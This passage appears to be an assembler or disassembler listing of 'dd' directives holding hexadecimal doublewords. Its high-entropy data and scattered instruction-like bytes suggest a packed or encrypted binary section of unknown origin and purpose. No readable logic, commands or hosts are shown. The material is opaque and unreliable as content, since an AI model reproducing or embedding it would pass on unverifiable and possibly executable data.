0BF89A4BEh, 6229BA6Bh, 71A8C27Ch dd 63A20F32h, 1D0129BAh, 4F328C63h, 0F09B9297h, 500AF0EAh dd 290EE84Bh, 9176B71h, 0D2F0132Ah, 4C2E5A43h, 80A3E2F9h dd 21DA8431h, 92F4FA4Dh, 667DBA66h, 78000C43h, 176A26h dd 708A4426h, 0BE765F39h, 0C2BCC2B9h, 7A4D26E0h, 8BE610F8h dd 9DD74A2h, 0BDA50000h, 3017E903h, 0A78C5E78h, 1A03D5EFh dd 94764862h, 426BC0DAh, 1731EBCDh, 8DA76145h, 620D8BBh dd 7A944E34h, 258CAF9Ah, 5121D4B5h, 492B45DFh, 0BDA3758Fh dd 0D1EFE903h, 0FFD9F04Fh, 5F5D621Ah, 1016C17Bh, 0A0648EB1h dd 805A2E5Ah, 77DADF97h, 0DAA05D54h, 1BC61921h, 9EA3F615h dd 0DAA05657h, 0A8604521h, 5BFA5A3h, 0C419CE00h, 0AB086979h dd 0D4EB2955h, 0CC4253h, 2B8C0000h, 88868B45h, 329493A6h dd 0FC4D6487h, 0D62929B9h, 47D75CD2h, 0F850979Ch, 9329BA19h dd 7D9F3ADh, 0A626721h, 0D3122906h, 565B15F9h, 0AC16595Fh dd 322E59F1h, 363BF3D8h, 0F0A88D3Fh, 0B5F42B45h, 0D9F21F92h dd 7AB5721h, 8CCA372Dh, 0D82C32DDh, 0B1D4EB48h, 2677C3ADh dd 0E7C1D82Bh, 5A344B05h, 53B5BB73h, 0CE59F81h, 0E611443Fh dd 0EC3D6B54h, 96000008h, 8DAF4AEh, 7D4F6921h, 0F4C6E098h dd 6739530Bh, 5CB1CB85h, 22DCBE73h, 98523608h, 11C9AC7Eh dd 853F25F7h, 7DA08B6Bh, 21D4B434h, 2B3ED84Ah, 0A3758F49h dd 5D15FCBDh, 9FB66158h, 57213460h, 0ACAD3B1Fh, 0BA6300B1h dd 9E133629h, 0D829BA62h, 555BAE85h, 9AC6F9F3h, 82D420AAh dd 150F1518h, 7270752Fh, 81B8D28Ch, 106BEA7h, 60B0040Ah dd 416DACC3h, 0D055BDF5h, 1A01B314h, 60665D62h, 5E6CAB1Dh dd 1E07E12Eh, 536A6166h, 0D56E8130h, 0A4AAFD21h, 411B3285h dd 4C1A485Bh, 0D4B3F554h, 0A5179ABDh, 0C5F21D4h, 0F52C4761h dd 4C21D4A4h, 0C67E61C5h, 0BEB7011Bh, 0FA112EF2h, 74A98FD7h dd 0E70AC926h, 29B4A5CAh, 1B661B4h, 6C5AD41Ah, 423EDBAh dd 7BD0CAEDh, 4CA69A8Dh, 0B1A8AD65h, 67A90106h, 2085B1C8h dd 0C1795CA0h, 0E1F7DEBDh, 0FE3D7CDBh, 8D65D6DBh, 474DA095h dd 2CA2D104h, 0CBE2359Ah, 5D48698Ch, 0DB2E95ECh, 7B66F3D7h dd 6A704027h, 914B310Bh, 5BFA577h, 0DD10652Ch, 67957E79h dd 7C3h, 31DD7BFh, 78924A31h, 0EF09C1A6h, 627C341Dh, 0DAF4AE90h dd 5E75C85h, 7B5F314Bh, 0F2D5A7C1h, 684E203Ah, 0C9B494AEh dd 0D4B30BA6h, 67017321h, 0C6AD87C6h, 0A09E130Eh, 19D829BAh dd 0BAA0BBF6h, 0C570C329h, 86A56BBFh, 487C4C6Fh, 0A7FA2E5Fh dd 17CFB690h, 0DE9AC6FDh, 74D1F0F5h, 61484248h, 0CFB892A9h dd 0B7DF1317h, 1CE9EBEFh, 0E5CBC916h, 0CF11522Bh, 0C5AEEDF3h dd 74697h, 9A543C00h, 0FC7AE80h, 863E23F5h, 0F9B19A6Ch dd 712B0DDFh, 64D90257h, 0DCAEC882h, 52243EF8h, 0CB9DB76Fh dd 31112BE5h, 0B18E2346h, 76E821D4h, 0F04FD1DCh, 4812B6D9h dd 35882E5Fh, 0A862441Eh, 47A6ACA3h, 244A2E08h, 0D4B7B001h dd 0C873C621h, 743D60C3h, 0A21D4B8h, 0C060CB7h, 26526C26h dd 0E4233AFBh, 6E4366A5h, 821D4B8h, 0B7F7BAB5h, 257F21D4h dd 0D3D9843Ch, 0D4B80D90h, 0F1F64921h, 0D4B804AAh, 7BD83921h dd 0D10FF925h, 4C1253h, 0D15C0000h, 47FFE84Eh, 2346859Ch dd 29BAA08Eh, 0FEE395E8h, 444A4146h, 0A0F3C2E5h, 409329BAh dd 0A0B9F43Bh, 238429BAh, 0B5D817CEh, 29BAA0FCh, 23292F82h dd 5434E6E7h, 1110h, 0BBDE1D00h, 29BA98F6h, 5272D80h, 1FCFBh dd 0B0B39100h, 81A4B9E5h, 160BB396h, 0D754BC10h, 3BC99DC0h dd 0C0FF2E5Ah, 0DA34149Dh, 4FEE3D21h, 55C17258h, 6252B7Eh dd 5017FEB3h, 467E2FD5h, 9CDE407h, 56A98170h, 1714FC50h dd 89412600h, 28878D84h, 0FF09505h, 9398EB86h, 3F56D53Bh dd 0DD31D400h, 0D9EAF64Fh, 584590D3h, 2C17EAFh, 70A7D2DFh dd 6E52AC81h, 0DB8AFB4h, 8B714B62h, 0A680B7D1h, 80208C2h dd 648F6822h, 0F58E5850h, 5E5DE0Ch, 0B59D0000h, 280FE1FBh dd 9F845670h, 12FBCDE7h, 8C6E405Ah, 7A63B8D2h, 0F29E3C5h dd 859F593Dh, 0FE18D0B3h, 728C462Ch, 2D84A792h, 4921D4B1h dd 452B3DD7h, 0B49A748Bh, 0F8FEF5FAh, 2CD53ABh, 0BAA0D2DFh dd 0AE59AC29h, 1DD7BD97h, 0A995B817h, 2F2E5A8Eh, 0B18BC2DCh dd 140B10C8h, 742E140Eh, 0EE85769Bh, 0F4220BEDh, 57Bh dd 4B651F07h, 0C0DA9279h, 375109EEh, 0AAC47C65h, 223CF6D8h dd 4D2FE4CDh, 0C3A77993h, 3A1DEF09h, 0B0966882h, 11FCDCF6h dd 0D4B0C3EEh, 0AF49BB21h, 0A284452Bh, 974F36E8h, 0D9F09B92h dd 5E631DFFh, 18D0B567h, 0C9161C13h, 4224E5CBh, 0E18C8388h dd 0D62B74DCh, 0CAE49E84h, 34E6BEECh, 3F24FE54h, 73FD8187h dd 47000000h, 4708ECC6h, 0FB01AC64h, 0A3BA79A7h, 5EE3864h dd 0ACB83558h, 5CB63A6h, 0EEAD2E5Ah, 0FD258CAFh, 0FE5121D9h dd 0D9FCAE03h, 0CA75C821h, 0FD2F7EC5h, 836C21D9h, 0E2C8C6CBh dd 72BB2328h, 42C5791Dh, 5E382F5h, 0D3FF4A5Ah, 52D4CEAAh dd 0B2E454Eh, 21DA6AA6h, 2777DD0h, 0DC134FADh, 423C53D4h dd 49000000h, 0A1C8891Dh, 44293FB7h, 0E590878Ch, 4FD1BDDFh dd 1FB6D9F0h, 972E5AEFh, 14EE2D44h, 7D747931h, 0DE967D77h dd 5305A9C4h, 0B29821DAh, 250CDEF8h, 0D905686Dh, 65C3BE9Bh dd 0F21C2286h, 46Fh, 0F04FD188h, 0BD00B6D9h, 23762E5Ah dd 0FFE1BB1Eh, 43494045h, 0B9A26349h, 5A05FC01h, 50ADE255h dd 385B64ACh, 21DA8479h, 0F007B205h, 7AA0E9CDh, 324C9F26h dd 0D0B97A60h, 711C1318h, 2F0C146Ch, 8C19F518h, 731F2E5Ah dd 0E3D539E9h, 3439E406h, 92C5236h, 21DA36A8h, 0CBD07BCEh dd 272CE4CDh, 64AF0431h, 0E2C9A3BAh, 52AF242Ah, 4E682208h dd 0FCB5D817h, 8221DA36h, 4BD5292Fh, 0E8B2D5ECh, 5E267A3Ah dd 2208060Bh, 406D6368h, 735A34E3h, 0B9BFB6BBh, 9075BB65h dd 8A35EFD1h, 0BA8A8E85h, 0E47DC4F6h, 4B8AA14Ch, 0BA848928h dd 0ABC5C829h, 139D9483h, 84E3E93Ch, 5A483961h, 2D500F2Eh dd 21DA4784h, 797E361Fh, 0F0FFAB82h, 0D33AEE46h, 0DDF7A24Dh dd 666B250Bh, 0C7CC8668h, 78C21F54h, 0DBECD192h, 269DFBF1h dd 0F9FEA99Ch, 3D3E7396h, 0E53821DAh, 0ECA6883Ah, 15FB2741h dd 32DCFF16h, 44267A28h, 1B00DAF1h, 0B5675E63h, 0C10E14CCh dd 1E23DDC3h, 0EFA6FB28h, 0C5773115h, 0D0242AE2h, 0A9CCE340h dd 2E5A4365h, 2F6680D3h, 1D3FC4F0h, 0A445F331h, 0D9E708A9h dd 151B6E21h, 767B351Bh, 0C1D89278h, 91204382h, 0ED21D9E6h dd 0E7129F9Ah, 196C21D9h, 9B85B113h, 9C62859Ch, 9A2679EDh dd 0B2FB4247h, 8B29B9E4h, 4B77D52Ah, 8954345Ah, 0F13CDAFh dd 6FA07D96h, 68ECF2C1h, 43h, 0B89B75h, 0DCFE04FBh, 0D9F04FD1h dd 5AA03CB6h, 586FC22Eh, 0FAB7DA19h, 8421DA9Fh, 9F7B3631h dd 0B00321DAh, 97165DAAh, 0A621DA9Fh, 5492E845h, 7F53D4EBh dd 102h, 872A4D8Ch, 0EF21DA93h, 2B74969Ch, 0E4CE3245h dd 0D4495480h, 0DC8E39F1h, 919641F9h, 0E0F7B193h, 62682206h dd 77311715h, 0D48E7472h, 0FDA99FBAh, 5E4429B9h, 0FD9C1538h dd 8FE229B9h, 0B993CAE4h, 1C161CD4h, 0C4ED1036h, 8D29B9FDh dd 0BC932C9Bh, 0A8542BA8h, 0A3F6D8B8h, 903BE6B0h, 9A173A79h dd 0E429BA57h, 0E63E8B91h, 5610F63Ah, 0B57194ABh, 0B32E5A39h dd 0F61A4660h, 0F7FF2239h, 112677B2h, 0E8CDA7BEh, 0F1CB2A30h dd 693B550Fh, 0D5F4CD87h, 6EE6112Dh, 21D5785h, 7D650000h dd 0F0D7A9C3h, 674C1E38h, 0DAC395AFh, 54360822h, 822B809Ah dd 0D7F1AB8Dh, 4D672105h, 0C6E0987Bh, 3A540EF4h, 654C6F5Ah dd 1121D4ADh, 492B059Fh, 24C788Fh, 19F42CE2h, 693B9DA3h dd 9F835D83h, 0EEE9E0E5h, 29BA4AC3h, 3E43FBE0h, 191D7047h dd 0A754F92Ah, 5D772229h, 45694C26h, 0B9A18F22h, 0E994E729h dd 4FD1C1E3h, 444903E9h, 4C8BA24Dh, 0EACC8B72h, 89342B30h dd 0A0B24083h, 79CC2E5Ah, 9F802D74h, 5CBD21DAh, 8245007h dd 0EBA388C6h, 149B5AE7h, 2A004FCEh, 0ACB25D1Fh, 0D40B78A6h dd 0B89353h, 2BDD0000h, 88868B45h, 0A0E7ECA6h, 29BAA4A8h dd 89A35D43h, 88ABD1B7h, 29BA9D29h, 52570255h, 21916FAh dd 5A7E47DFh, 5E7412Eh, 5A86A04Bh, 3F6279B6h, 2677F118h dd 752D146Eh, 0B7CE7970h, 91B59E78h, 0B803436Eh, 3DE83B29h dd 413B4138h, 628EA55Fh, 0D5C971A7h, 56B8BE7Ch, 0FE8A284h dd 0E6114CF6h, 0C7CAA93h, 76000001h, 0E8BAD48Eh, 5D2F4901h dd 0D4A6C078h, 471933EBh, 3C91AB65h, 2BC9E93h, 783216E8h dd 0F1A98C5Eh, 651F05D7h, 5D806B4Bh, 21D4AC54h, 2B1EB82Ah dd 3E758F49h, 0D030BE12h, 9EF66E3h, 0A8534A4Fh, 9CC2A8A2h dd 0B9F73879h, 40EB3E29h, 452B2C26h, 0EE48748Bh, 6B59589Dh dd 9AFD4A50h, 331CDBC0h, 0D47F767Bh, 0D8D2D8CFh, 0F21E38F2h dd 0D7FA112Eh, 2E5F35EDh, 0B8705933h, 18D0B5B3h, 0EE48676Dh dd 564D520Ch, 0C2A8A6ABh, 5E631D01h, 0D0A2BC67h, 0E42B30EAh dd 5B05B97Dh, 0CDB08AA9h, 459A0F15h, 3C530DF3h, 24AA0A10h dd 797FADF8h, 19B4E017h, 0F3A82707h, 959A5438h, 0F3EDF39Eh dd 0EB4E530Dh, 603BF6BFh, 9EA4431Dh, 0E6AABBA4h, 0F7765889h dd 16CEB769h, 0F215546Bh, 0DD0623BFh, 0D0B264B7h, 141A1116h dd 8EBAD1C7h, 0A22C0512h, 6ADFE5E3h, 23DDC315h, 7093D209h dd 0DD065041h, 0EAE4EA3Dh, 17454A04h, 3, 2B6624ADh, 86848943h dd 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h, 66646923h dd 0C2C0C57Dh, 222025DDh, 6D7E833Bh, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 68243C89h, 7502h, 68240489h, 39EBh, 83241C89h dd 2C8904ECh, 0EAEBBD24h, 0E88907E5h, 1C8B545Dh, 4C48124h dd 57000000h, 8F57C789h, 8B5F0843h, 8951241Ch, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 2434FF5Ch, 4C48158h, 0E9000000h dd 0FFFA89F7h, 0C19221FCh, 0F67CB80Eh, 0C50307E5h, 0C862E0FFh dd 8A952200h, 2DF54127h, 9B6342C2h, 71F33B96h, 4B794028h dd 3E3A774Eh, 0EC4B16DCh, 6B514CFDh, 5ED27133h, 0D7B8033Bh dd 0ACCD7F45h, 79F9100Ch, 39BD451Bh, 1A4A2860h, 0E63113FCh dd 230F29BCh, 51572D16h, 26F81AD8h, 0D2F34ABAh, 0CEFC39ACh dd 3AE510Dh, 0A0232050h, 0C70566A4h, 0AD851886h, 0D0783FA0h dd 8D8D09DFh, 7E5F821h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0F5C35040h, 2948FC1h, 0CA961A2Eh, 1195096Ah dd 8907E01Dh, 0E018158Dh, 518D0107h, 0C707E016h, 0E0204985h dd 73C007h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0A91A63A6h, 0C585C7F8h, 7E022h, 0FF000000h dd 0E01B41B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 7E2DCD24h, 819FCA6Dh dd 95FF13E9h, 7E02091h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0D7C35747h, 6A040Dh, 18A995FFh, 0C08B07E0h dd 3EFF7DEBh, 0ED066FD7h, 5EEA56D3h, 0F46B0380h, 18E456E5h dd 1DB53F61h, 0B1DE5F10h, 0EF8ADAA4h, 802A7E60h, 0D508CE5Fh dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h, 99F52B91h dd 0E96CACE8h, 0F60E0B10h, 1742CE39h, 0D44F102Dh, 0B463C25h dd 15811334h, 9CC49E41h, 0AB764E92h, 41FF4786h, 34F26920h dd 0F750F478h, 0BC46E715h, 0E06F61A8h, 2E2AA481h, 8B9C2BB2h dd 2D2DA2EBh, 0E843F7DEh, 0Fh, 7AF4CAA0h, 2A52719Fh, 33BADB4Ch dd 0B9881E7Bh, 63F5660Fh, 28D0F5Ah, 0B1000000h, 84C281BFh dd 0F00006Eh, 686h, 0ADB58900h, 0BF07E016h, 1B6Eh, 8367DDBBh dd 0B9328B5Fh, 1031AA0Fh, 6E42C681h, 95016944h, 7E01F15h dd 0EF50F681h, 0B589181Ah, 7E021A5h, 1C35EE81h, 0F7806F35h dd 28F567Bh, 5860Fh, 0A4B90000h, 8322BECDh, 7E804EAh, 0BB000000h dd 0FC0C9604h, 1EB39AB1h, 1EF8359h, 28850Fh, 60600000h dd 0EFF9BF66h, 0FA1B58Bh, 8B6107E0h, 0E00B1195h, 2DE96107h dd 19000000h, 0B3062DC5h, 0F1BC65D5h, 0D56564A3h, 8D31ED87h dd 7E015A9h, 0FFFF7CE9h, 0E44508FFh, 4CD568C1h, 0DDD55BECh dd 0E07FF73Ah, 0B5111FF1h, 0FE8h, 19D71800h, 0AA5E34A8h dd 0E05F92BFh, 9C7C2291h, 1E8D958Bh, 665907E0h, 81BDFFBBh dd 5F18C1h, 1D9D8B00h, 0BF07E000h, 1795h, 2A959D8Bh, 31FF07E0h dd 5EDA8B66h, 19F64CBBh, 0C4EE8105h, 0E85C6AD6h, 0Bh, 542166FEh dd 0ACF1CF55h, 0B814AEA7h, 36B56B48h, 0F3EE815Ah, 8B2A58F6h dd 0E02C1985h, 88C68107h, 232E97BAh, 0E029F185h, 0B3318907h dd 3E983C0h, 0BE9h, 691D8400h, 8F4953D5h, 650AB18Ch, 0C0BF0F49h dd 1EF81h, 850F0000h, 20h, 8E8h, 37A8C200h, 0A984C227h dd 0DB589A7h, 5807E032h, 18E9h, 8FD37400h, 0D998FA76h dd 66D58A60h, 0E961D38Bh, 0FFFFFF6Eh, 0C25CED99h, 19E95Bh dd 0B9EE0000h, 61E0h, 4 dup(0) dd 0E9000000h, 56Ch, 0D7F1AB93h, 4C661E05h, 0C3DD957Ah dd 365008F1h, 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h dd 3C22F40Eh, 9D886882h, 0D4A7377Ah, 0F6CD3F21h, 0A71D94B7h dd 957E21D4h, 0AE1D8DDh, 0C68FB1B7h, 0A14D6487h, 0D62929BAh dd 5137BD2h, 747AA629h, 0C3DA947Ah, 43506184h, 0D32629BAh dd 0A08280CDh, 14FACCE6h, 7157555Ah, 0CDB4B2B7h, 689D1015h dd 21DBC10Bh, 934B300Ah, 2F91978Eh, 0A8C27A5Dh, 363BF3D6h dd 839A5438h, 409C3A9h, 0DED3F60Dh, 9829BA42h, 0F4F23F45h dd 0FE4E530Bh, 245DFD63h, 12F5A7BAh, 0C90C9101h, 24CF62C4h dd 0DD32F31Fh, 0D1AE0326h, 75C829B9h, 0DD0920CAh, 66E541BDh dd 64402051h, 4B98D3D7h, 2F84F9FFh, 9B163978h, 0E329BA79h dd 3DF5DE90h, 413B4138h, 0BA8CA65Eh, 0CE151AD4h, 29BA79E0h dd 60BE1344h, 5434CD22h, 6B4Dh, 452B9700h, 703F868Bh, 2B29BAA1h dd 87858A42h, 0B8E4E9A3h, 2E579AF7h, 91503913h, 0FAF1F6AEh dd 7FD4494Fh, 34EAE521h, 0D1F43354h, 29BA94E0h, 0B93D4396h dd 1, 20442B03h, 0BAA0B4FDh, 0CC77CA29h, 2AE2C9C7h, 0A983C225h dd 9E130EC6h, 0D829BAA0h, 33DE987Eh, 924A332Dh, 88E51A8Dh dd 859F573Eh, 230CCDB3h, 0ACA6C06Bh, 8A8F492Bh, 0E8EDA58Ch dd 90DA3780h, 0A3DAF4AEh, 0A1704164h, 0B30629BAh, 13CDB3ADh dd 0EFD1AB0Eh, 50352F35h, 0BEA78198h, 40A0106h, 1DD7B9B7h dd 7B331A18h, 0FE538076h, 0ED42A3B3h, 34E8438Fh, 658C54h dd 2BD60000h, 8C8A8F49h, 77EAEFA7h, 0B99BED42h, 3113E5FFh dd 2AD58D70h, 863E2725h, 6FC42581h, 5B5679B8h, 0F629BAA1h dd 49FE5A5h, 0F5B48B17h, 0BA36DFD2h, 99449729h, 82418D93h dd 548A5434h, 0D4000000h, 8A8F492Bh, 0ECF1A98Ch, 4D520CEEh dd 0ACB16B4Fh, 0CC68C57Ah, 0B825E11Bh, 0BAA04B2Ah, 7C5EA805h dd 2BAEA8C2h, 40878C44h, 29BAA16Eh, 8C914B2Dh, 0EAEFA78Eh dd 63AE03B8h, 0BDE01F3Ah, 29BAA0F4h, 370EC6AFh, 1469DEE4h dd 34EA88B6h, 1A354h, 2BED0000h, 8B898E46h, 0E8E6EBA5h dd 45434802h, 75A1A65Eh, 6A145FB4h, 0B196E03Dh, 0A1476A8Dh dd 705429BAh, 0DA8CDFB6h, 77913CF6h, 0C2816640h, 2A2126E0h dd 967C7A7Fh, 0D72B31DCh, 0B0D3EA49h, 2E5A9FBAh, 0DEDCE134h dd 52243EF8h, 0C19BB26Ch, 0D32026DEh, 0DAA0238Ch, 328F4421h dd 0AC2A983h, 11240A04h, 6A398801h, 68822D5Dh, 0F1F6B096h dd 3C530DF3h, 0DEFFA010h, 3A4065BDh, 785285EDh, 62D7DD95h dd 1BD5BB0Dh, 6E72301h, 6E1053D4h, 1D000001h, 0AED59CF1h dd 575D9A2Ah, 0F04FD135h, 0D9C09AD9h, 0FED81B21h, 782E5A86h dd 0E3BD2025h, 433D43FDh, 5289A35Dh, 0D5DB9378h, 363BF5DBh dd 5231A7D3h, 0A513FD5Dh, 15DE30A4h, 0E7ED98B3h, 484D07EDh dd 0F03A97E0h, 0B4B8E40Ah, 0BC9B9238h, 9DAE03FEh, 1CC821DAh dd 641A32Fh, 2BD68124h, 0A6F73311h, 592053D4h, 2D000000h dd 48E6CBEEh, 0D2B521DAh, 0EAF0431Ah, 7ECC6C8h, 2AF5494Fh dd 0D1F40Bh, 3656455Eh, 0B6BC765Ch, 532D4497h, 8A274A6Eh dd 0F4A9BAA1h, 0A3F0F6A1h, 0BAA2555Ch, 0FA5718A9h, 536ACB56h dd 455EA130h, 26B1DDD6h, 2961080Bh, 0FC01BBA1h, 35545A05h dd 0AEC6C8E2h, 5C000000h, 0E2C9AC6h, 64FE513Eh, 29060A5Eh dd 2EABEF12h, 52A52E5Ah, 2910EA4Dh, 0C8CD856Ah, 262026D1h dd 0E19B7F40h, 203AE5DCh, 2E33BDE9h, 43AD542Bh, 375D433Dh dd 0BBDCD5F8h, 4FA221D9h, 0D9BC5D54h, 0AFC61921h, 0D9BC258Ch dd 53FE5121h, 0C179623Ch, 72BFC5BCh, 0D9BBA12Bh, 0FE530821h dd 0F50CC6ACh, 757B351Bh, 7A9DDC13h, 21D9BC37h, 92E6EC3Fh dd 5B9AB18Eh, 0E5E09881h, 21D9BBCCh, 0FA595FB2h, 7E75A0D7h dd 0F72AD626h, 8D66492Dh, 20D8BF71h, 7479241Bh, 0D1D69076h dd 6EAC4DBh, 7CD1464Ch, 0CCE340D0h, 5A07CEA9h, 0BFD92C2Eh dd 0F04FD1C5h, 5AC1B6D9h, 0E6392E5Fh, 1C3F7EE1h, 21D4A695h dd 8E888EE1h, 9DD4EEA8h, 0A6763B5Eh, 0AD0021D4h, 0DC7ADA7h dd 1E1FC108h, 0D80D47D6h, 0EF2CC7Bh, 52584F54h, 9EB87258h dd 35D3E6CCh, 0C9BF39F3h, 3AED1E8h, 7BC7D71Ah, 7A787D28h dd 37EFD291h, 0B69B758Ch, 0B5ABF8FEh, 0FBE12B88h, 879E583Ah dd 0D71A4D64h, 2BD629C7h, 9D553A14h, 7D633597h, 0EFFA2B57h dd 0E00BD944h, 0D737CCE5h, 91FB85C7h, 0D248B5F3h, 0E6FDA8FBh dd 6A702A0Ch, 3EF1Dh, 24850000h, 89432B66h, 0E6A08684h dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h dd 25DDC2C0h, 833B2220h, 89536D7Eh, 4C381E3h, 81000000h dd 4EBh, 241C8700h, 2404895Ch, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 3D68241Ch, 89000067h, 68682404h dd 8B07E5FAh, 0C483241Ch, 48B5404h, 4C48324h, 8B951h, 0C1010000h dd 0C8B1989h, 4C48124h, 0FF000000h, 81582434h, 4C4h, 2434FF00h dd 4C4815Bh, 0E9000000h, 0FFFA810Bh, 0D5954214h, 0E5FF5EB8h dd 0FFC50307h, 4E846CE0h, 3E4DB064h, 0E3DB920Eh, 0F0953A43h dd 5D913612h, 31CCD745h, 0F5E9B75Bh, 0D953AD75h, 58426245h dd 27B8A75Fh, 0C97AB47Dh, 857BAE38h, 0E2088B74h, 85D72D11h dd 201CBC2Fh, 94947902h, 48797D10h, 0B941D13Dh, 58525E7Bh dd 0F4AE3D43h, 0E427F706h, 72E6587Dh, 0AE145553h, 41F3EB47h dd 8E911h, 12E70000h, 1073h, 53E90242h, 6800000Ch, 7E60218h dd 0FB47F6E9h, 30268FFh, 0ECE907E6h, 68FFFB47h, 7E604DBh dd 0FB47E2E9h, 5A968FFh, 0D8E907E6h, 68FFFB47h, 7E6066Bh dd 0FB47CEE9h, 85C68FFh, 0C4E907E6h, 68FFFB47h, 7E608E4h dd 0FB47BAE9h, 0A3168FFh, 0B0E907E6h, 68FFFB47h, 7E60B21h dd 0FB47A6E9h, 0B65ADAFFh, 44DE63DFh, 0CE70F16Dh, 5DF57BF7h dd 0ED830A86h, 78D60D16h, 8845BF1h, 9410E785h, 1F9B7212h dd 8328FF9Bh, 6380662Ch, 179C6328h, 11AD318Eh, 17B337C3h dd 8C28AC58h, 8F31B23Eh, 9B165D5Ah, 63442AF0h, 0EF585B42h dd 3B1FA2F2h, 44CF1DB5h, 4263987Eh, 164BB45Bh, 0EB39CF56h dd 8F6B5EAh, 1B13A99Bh, 9278B4Ch, 3A1DE17Fh, 2ED90805h dd 0E3D7BD83h, 8AF35B42h, 0AAA749CAh, 22EB2760h, 28EEE163h dd 6322EA42h, 72C0F55Eh, 22E9E2CCh, 534D63h, 37950451h dd 2E92C4h, 11990000h, 0B07635B0h, 6322648Bh, 48EE3CA5h dd 6322645Eh, 0D584CFC9h, 0C4371780h, 25B7816Fh, 6A2751EFh dd 3B8927AAh, 0E5B53D3Ah, 0BC000000h, 0C311AD31h, 0CC1AB037h dd 890C5341h, 6DBB5DDEh, 12D66A6Ch, 2CB0E0DDh, 0F15A4006h dd 40765B42h, 6194A21Ah, 285D9271h, 0A3CA4EDAh, 33348220h dd 553EF73h, 62F8CF04h, 5B435C45h, 0AA811DA1h, 4F0EAA2Eh dd 52F8DEA4h, 0AB145B43h, 7D44F0AEh, 52FEA968h, 0E4E533CDh dd 74A89DE7h, 7BE46323h, 483B29A4h, 0DC95808Dh, 3091E1DEh dd 5D4BF6B5h, 127D3135h, 206A67F4h, 6B059E98h, 1CC887F0h dd 5240FF95h, 8B3ED96Ch, 0C950104Ah, 0E7E4E533h, 79D24A0h dd 0A056C2FDh, 811FF972h, 9E0h, 4E25C949h, 0DCB34DD2h dd 663DDF60h, 0F5CC64EAh, 855CF279h, 60E7677Ch, 0F477F3CAh dd 81037F56h, 0A8E0AE1h, 9BF2976Eh, 2864EFD5h, 0FD860B63h dd 0C48AAA31h, 5B4262DEh, 0DC7CFEF2h, 1F9B72A7h, 0AB28FF9Bh dd 7635B011h dd 22648BB0h, 0EE3CA563h, 22645E48h, 84CFC963h, 2BC74BF7h dd 17F8DD2Eh, 0CB77C437h, 27AFAC46h, 0C1h, 11AD312Eh, 0FBE1A752h dd 0F5B4262h, 3B21E7A6h, 4F5B4263h, 9F2BE9E6h, 0A9348218h dd 635238FEh, 56E5B42h, 2A27BF45h, 4267C3E0h, 7CA3275Bh dd 800C5AFAh, 121361FBh, 55D1A8DDh, 5CE735D1h, 0D2922AB0h dd 63B3B050h, 2C8875Eh, 6322880Dh, 6D058B7Fh, 358B7938h dd 96387167h, 5DF9403Dh, 0FCC28164h, 6B052563h, 9B574DDh dd 9915EC82h, 41727C12h, 7672A054h, 8F6FE9Ch, 0B3330000h dd 37BC380Fh, 0C94AC69Dh, 4ED45027h, 0DC63DFB6h, 7D666F46h dd 0DDB44AD1h, 6940DE61h, 0F4CB6BEDh, 8158F478h, 0D9BF85DCh dd 0F5632865h, 0AA31E770h, 3DC13D14h, 0A9F79116h, 0AEFC9A1Dh dd 6C4378ADh, 48632EFh, 56151664h, 4263AA90h, 605DC65Bh dd 5110AC30h, 0B8BA1FA5h, 0FC27F29Ch, 5C1A174Ch, 37A225D1h dd 12534C5Bh, 0E02E63B1h, 2EB2E2DFh, 0A21FBB92h, 609537B8h dd 0D86EF5A1h, 0DDFCBC8Ah, 8D3F06BAh, 614A5658h, 62D61184h dd 27703665h, 4163235Ah, 0FA2FC74Dh, 0E97A4D3Bh, 1F7E9832h dd 2DD96422h, 0BCBD0BABh, 6F0B8FBFh, 0E28204B0h, 4F969394h dd 65B34FD3h, 68E7F6BFh, 0CB9A30EAh, 0DC9B37BBh, 110EAE30h dd 1FA34FCAh, 0A44D33F9h, 0F861DBE8h, 777475C3h, 0D927C347h dd 0E8A44A33h, 9D3FC0DBh, 0A240C34Fh, 0A844C854h, 0DD60338Dh dd 8D1D68C2h, 371DE309h, 53DBE8A4h, 0D7410F1Dh, 63BC132h dd 0D37FFAD1h, 85B5B250h, 86679801h, 73F76A9Fh, 4CD37F3Eh dd 6A6768B6h, 0D1906ACh, 29C8DBE9h, 0A05FF77Dh, 9BB7F4DAh dd 0A29F08DAh, 7E2AB90Ch, 635D5FF9h, 92A0AB4Eh, 74F82825h dd 979E1F0Bh, 0EA1F8396h, 77139713h, 0A1447D29h, 6CA71CE2h dd 8834E27Ch, 17186606h, 0B5A901Ah, 11474B47h, 8420F72Ch dd 3EE9A83Dh, 22701092h, 0A1DA2421h, 5BDBDC2Eh, 28733F2h dd 0B54C1A68h, 0C956F1B8h, 73312E63h, 9BB7E4CDh, 0E554FDAh dd 8E477A5Fh, 476A0BCh, 0FEA90000h, 9BC05238h, 8056EDAh dd 633117D7h, 0A38D5B42h, 0FF5B4273h, 5B4276FDh, 4275DFC9h dd 598C355Bh, 0D068EE9Ah, 55848182h, 22945A8Fh, 0C3CD3663h dd 7542EA28h, 1DA7451Fh, 0C000007h, 9511E88Ch, 239F7610h dd 0AD2900A2h, 3CB88F27h, 3F481FB5h, 8D23AAA4h, 19B73AB6h dd 0A444C642h, 31CD51CDh, 985EB55Ah, 632867B2h, 31C049CEh dd 0D52344ADh, 0BA43EEA3h, 916B7E6Bh, 386DA293h, 95833EEAh dd 36B9893Fh, 0AF769698h, 1A4FF172h, 0BC6026E5h, 2F632896h dd 95D8BE84h, 8BF46328h, 0C49B048Eh, 7849DECBh, 57E8AE6Dh dd 0F16B089Dh, 0D37A5488h, 0A70AA9D3h, 1195411Ah, 6BB59B75h dd 60C90AA9h, 2F7D1FA0h, 743AF92Eh, 128983A7h, 46F240A9h dd 0E5AB6A7Bh, 0BA9ACF3h, 0BB67268Fh, 71A09D35h, 0E6A541C5h dd 0CC1AB63Ah, 